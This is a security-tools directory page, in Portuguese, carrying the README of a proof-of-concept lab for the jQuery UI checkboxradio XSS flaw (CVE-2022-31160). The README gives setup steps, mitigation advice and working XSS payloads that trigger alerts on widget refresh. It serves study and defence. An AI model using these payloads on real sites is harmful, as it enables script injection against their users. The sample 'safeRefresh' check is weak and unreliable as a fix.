Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
jquery-cve-2022-31160 — Prova de Conceito (PoC) de XSS em jquery | Kitploit
Ferramentas/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebCTFAprendizado e Educação
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

Prova de Conceito (PoC) de XSS em jquery

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Demonstração da Vulnerabilidade CVE-2022-31160 do jQuery UI

Security Badge jQuery UI CVE Docker

Este projeto demonstra a Vulnerabilidade de Atualização do Widget Checkboxradio do jQuery UI (CVE-2022-31160), que permite a decodificação de entidades HTML durante operações de atualização do widget, potencialmente levando a ataques de Cross-Site Scripting (XSS).

🚨 Aviso de Segurança

⚠️ Este projeto contém payloads XSS funcionais apenas para fins educacionais e de pesquisa.

  • NÃO utilize em sistemas de produção
  • Utilize apenas em ambientes controlados
  • Destinado a pesquisas de segurança e educação

📋 Sumário

  • Visão Geral da Vulnerabilidade
  • Início Rápido
  • Estrutura do Projeto
  • Demonstrações
  • Detalhes Técnicos
  • Uso com Docker
  • Análise de Segurança
  • Mitigação
  • Contribuição
  • 🔍 Visão Geral da Vulnerabilidade

    Detalhes do CVE-2022-31160

    • Componente: Widget Checkboxradio do jQuery UI
    • Versões Afetadas: jQuery UI ≤ 1.13.1
    • Tipo de Vulnerabilidade: Cross-Site Scripting (XSS) via Decodificação de Entidades HTML
    • Pontuação CVSS: 6.1 (Médio)
    • Publicado pela primeira vez: 20 de julho de 2022

    Causa Raiz

    Quando um widget checkboxradio é inicializado em um input dentro de um label, chamar .checkboxradio("refresh") no widget faz com que as entidades HTML no conteúdo do label sejam erroneamente decodificadas. Isso pode converter conteúdo malicioso codificado com segurança em JavaScript executável.

    Vetor de Ataque

    root@kitploit:~
    <!-- Safe encoded content -->
    <label for="checkbox">
      Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
      <input type="checkbox" id="checkbox">
    </label>
    
    <!-- After .checkboxradio("refresh") -->
    <label for="checkbox">
      Text 
      <input type="checkbox" id="checkbox">
    </label>
    

    🚀 Início Rápido

    Pré-requisitos

    • Docker instalado em seu sistema
    • Navegador web com ferramentas de desenvolvedor
    • Compreensão básica de conceitos de segurança web

    Construir e Executar

    root@kitploit:~
    # Clone or navigate to the project directory
    cd jquery-cve-2022-31160
    
    # Build the Docker image
    docker build -t jquery-cve-2022-31160 .
    
    # Run the container
    docker run -p 3000:3000 jquery-cve-2022-31160
    

    Acessar as Demonstrações

    Assim que o container estiver em execução, acesse:

    • Demonstração de Pesquisa Simplificada: http://localhost:3000/survey
    • URL Alternativa da Pesquisa: http://localhost:3000/simplified-survey

    📁 Estrutura do Projeto

    root@kitploit:~
    jquery-cve-2022-31160/
    ├── README.md                    # Esta documentação
    ├── Dockerfile                   # Configuração do container Docker
    ├── package.json                 # Dependências Node.js
    ├── server.js                    # Servidor Express.js
    └── simplified-survey.html       # Demonstração estilo pesquisa
    

    🎯 Demonstrações

    1. Demonstração de Pesquisa Simplificada (simplified-survey.html)

    URL: http://localhost:3000/survey

    • Interface estilo pesquisa
    • Múltiplos cenários de vulnerabilidade
    • Feedback visual aprimorado

    Funcionalidades:

    • 4 opções de checkbox diferentes demonstrando vários cenários:
      • Opção Segura: Sem entidades codificadas (grupo de controle)
      • XSS de Segurança de Rede: &lt;img src=x onerror=&quot;...&quot;&gt; - Execução imediata
      • XSS de Segurança Móvel: &lt;details ontoggle=&quot;...&quot; open&gt; - Execução imediata
      • XSS de Segurança em Nuvem: &lt;span onmouseover=&quot;...&quot;&gt; - Execução interativa

    Ferramentas de Análise:

    • Log detalhado no console
    • Alertas de execução XSS
    • Rastreamento passo a passo da vulnerabilidade

    🔧 Detalhes Técnicos

    Mecanismo da Vulnerabilidade

    1. Inicialização do Widget: jQuery UI cria o widget checkboxradio
    2. Armazenamento de Entidades HTML: O conteúdo do label com entidades codificadas é processado
    3. Gatilho de Atualização: .checkboxradio("refresh") é chamado
    4. Decodificação de Entidades: jQuery UI erroneamente decodifica entidades HTML
    5. Execução XSS: O conteúdo malicioso decodificado torna-se executável

    Código Afetado

    root@kitploit:~
    // Vulnerable operation
    $('#vulnerable-checkbox').checkboxradio();
    $('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability
    

    Payloads de Teste

    As demonstrações incluem vários payloads para testar diferentes métodos de execução XSS:

    root@kitploit:~
    <!-- Network Security: Error event XSS (Immediate execution) -->
    &lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;
    
    <!-- Mobile Security: Details toggle XSS (Immediate execution) -->
    &lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;
    
    <!-- Cloud Security: Interactive XSS (User interaction required) -->
    &lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;
    

    Métodos de Execução XSS

    1. Manipulador de Evento de Erro (onerror)

    • Gatilho: Imediato quando o elemento é inserido no DOM
    • Confiabilidade: Muito alta (sempre falha com src=x)
    • Caso de Uso: Demonstra execução XSS imediata
    • Risco no Mundo Real: Alto - comumente contorna filtros de entrada

    2. Manipulador de Evento de Alternância de Detalhes (ontoggle)

    • Gatilho: Quando o estado de abertura/fechamento do elemento details muda
    • Confiabilidade: Muito alta (gatilho garantido com o atributo open)
    • Caso de Uso: Execução imediata na inserção no DOM
    • Risco no Mundo Real: Alto - execução confiável entre navegadores

    3. Manipulador de Evento de Mouse (onmouseover)

    • Gatilho: Requer interação do usuário (passar o mouse)
    • Confiabilidade: Alta quando o usuário interage
    • Caso de Uso: Cenários de engenharia social
    • Risco no Mundo Real: Médio - requer engajamento do usuário

    Por que Esses Payloads Funcionam

    Vantagens dos Manipuladores de Evento:

    • Executam quando o elemento é inserido via innerHTML
    • Contornam restrições de tags <script>
    • Funcionam consistentemente em diferentes navegadores
    • Não requerem recursos externos para carregar
    • Gatilhos baseados em estado (como ontoggle) são altamente confiáveis

    Contorno de Codificação:

    • Entidades HTML (&lt;, &quot;) são decodificadas pela atualização do jQuery UI
    • Transforma conteúdo codificado seguro em código executável
    • Demonstra um contorno de sanitização do mundo real
    • Múltiplos vetores de execução mostram a diversidade da superfície de ataque

    🐳 Uso com Docker

    Construindo a Imagem

    root@kitploit:~
    docker build -t jquery-cve-2022-31160 .
    

    Executando o Container

    root@kitploit:~
    # Run on default port 3000
    docker run -p 3000:3000 jquery-cve-2022-31160
    
    # Run on custom port
    docker run -p 8080:3000 jquery-cve-2022-31160
    
    # Run in background
    docker run -d -p 3000:3000 jquery-cve-2022-31160
    
    # Run with custom name
    docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
    

    Gerenciamento de Containers

    root@kitploit:~
    # List running containers
    docker ps
    
    # Stop the container
    docker stop jquery-cve-2022-31160
    
    # Remove the container
    docker rm jquery-cve-2022-31160
    
    # Remove the image
    docker rmi jquery-cve-2022-31160
    

    🔬 Análise de Segurança

    Avaliação de Impacto

    • Severidade: Médio (CVSS 6.1)
    • Complexidade do Ataque: Baixa
    • Interação do Usuário: Necessária (interação com a página)
    • Escopo: Inalterado (mesma origem)
    • Confidencialidade: Baixo impacto
    • Integridade: Baixo impacto
    • Disponibilidade: Nenhum

    Cenários do Mundo Real

    Esta vulnerabilidade pode ser explorada em aplicações que:

    1. Utilizam widgets checkboxradio do jQuery UI
    2. Permitem conteúdo gerado pelo usuário em labels
    3. Sanitizam conteúdo usando codificação de entidades HTML
    4. Atualizam widgets programaticamente

    Métodos de Detecção

    • Análise Estática: Pesquisar por chamadas .checkboxradio("refresh")
    • Análise Dinâmica: Monitorar mudanças no conteúdo HTML durante operações do widget
    • Varredura Automatizada: Usar ferramentas que detectam XSS baseado em DOM
    • Testes Manuais: Testar atualização do widget com payloads codificados

    🛡️ Mitigação

    Ações Imediatas

    1. Atualizar jQuery UI: Atualizar para a versão 1.13.2 ou superior
    2. Validação de Entrada: Implementar validação adequada no lado do servidor
    3. Política de Segurança de Conteúdo: Implantar cabeçalhos CSP restritivos
    4. Codificação de Saída: Usar codificação de saída apropriada ao contexto

    Correções de Código

    root@kitploit:~
    // Before refresh, sanitize or validate content
    function safeRefresh(element) {
        // Validate label content before refresh
        const label = $(`label[for="${element.attr('id')}"]`);
        const content = label.html();
        
        // Check for potentially dangerous content
        if (content.includes('<') || content.includes('javascript:')) {
            console.warn('Potentially dangerous content detected');
            return;
        }
        
        element.checkboxradio("refresh");
    }
    

    Cabeçalhos de Segurança

    root@kitploit:~
    // Express.js security headers
    app.use((req, res, next) => {
        res.setHeader('X-Content-Type-Options', 'nosniff');
        res.setHeader('X-Frame-Options', 'DENY');
        res.setHeader('X-XSS-Protection', '1; mode=block');
        res.setHeader('Content-Security-Policy', "default-src 'self'");
        next();
    });
    

    📚 Valor Educacional

    Este projeto serve como um recurso educacional para:

    • Pesquisadores de Segurança: Entender vulnerabilidades de manipulação de DOM
    • Desenvolvedores Web: Aprender sobre considerações de segurança do jQuery UI
    • Testadores de Penetração: Técnicas práticas de exploração XSS
    • Estudantes de Segurança: Análise prática de vulnerabilidades

    🔗 Referências

    • Entrada Oficial CVE-2022-31160
    • Comunicado de Segurança jQuery UI
    • Folha de Dicas de Prevenção de XSS da OWASP
    • CWE-79: Cross-site Scripting

    📈 Checklist de Testes

    Ao usar esta demonstração:

    Configuração Pré-Teste:

    • Verificar a versão do jQuery UI (deve ser 1.13.0)
    • Testar com ferramentas de desenvolvedor abertas (F12)
    • Acessar a pesquisa em http://localhost:3000/survey
    • Verificar o console em busca de mensagens de inicialização

    Teste de Vulnerabilidade:

    • Clicar no botão "🔄 Atualizar Widgets"
    • Opção de Segurança de Rede: Verificar execução imediata do alerta
    • Opção de Segurança Móvel: Verificar execução imediata do alerta
    • Opção de Segurança em Nuvem: Passar o mouse sobre o texto "[Passe o mouse para acionar]"
    • Verificar o console para logs detalhados da vulnerabilidade

    Verificação de Análise:

    • Validar a execução do payload XSS (3 tipos diferentes)
    • Testar a funcionalidade de reset do widget
    • Verificar se o feedback visual do checkbox funciona corretamente

    🤝 Contribuição

    Contribuições são bem-vindas! Por favor:

    1. Faça um fork do repositório
    2. Crie um branch de funcionalidade
    3. Faça suas alterações
    4. Adicione a documentação apropriada
    5. Envie um pull request

    Áreas para Melhoria

    • Exemplos adicionais de payloads
    • Ferramentas de análise mais detalhadas
    • Demonstrações visuais aprimoradas

    ⚖️ Aviso Legal

    Este software é fornecido apenas para fins educacionais e de pesquisa. Os autores e colaboradores:

    • Não são responsáveis por qualquer uso indevido deste software
    • Não incentivam ou toleram atividades maliciosas
    • Recomendam o uso apenas em ambientes de teste autorizados
    • Aconselham seguir práticas de divulgação responsável

    📄 Licença

    Este projeto é fornecido sob a Licença MIT para fins educacionais.


    Criado para pesquisa e educação em segurança | Use com responsabilidade | Reporte vulnerabilidades através dos canais apropriados

    Baixar ferramenta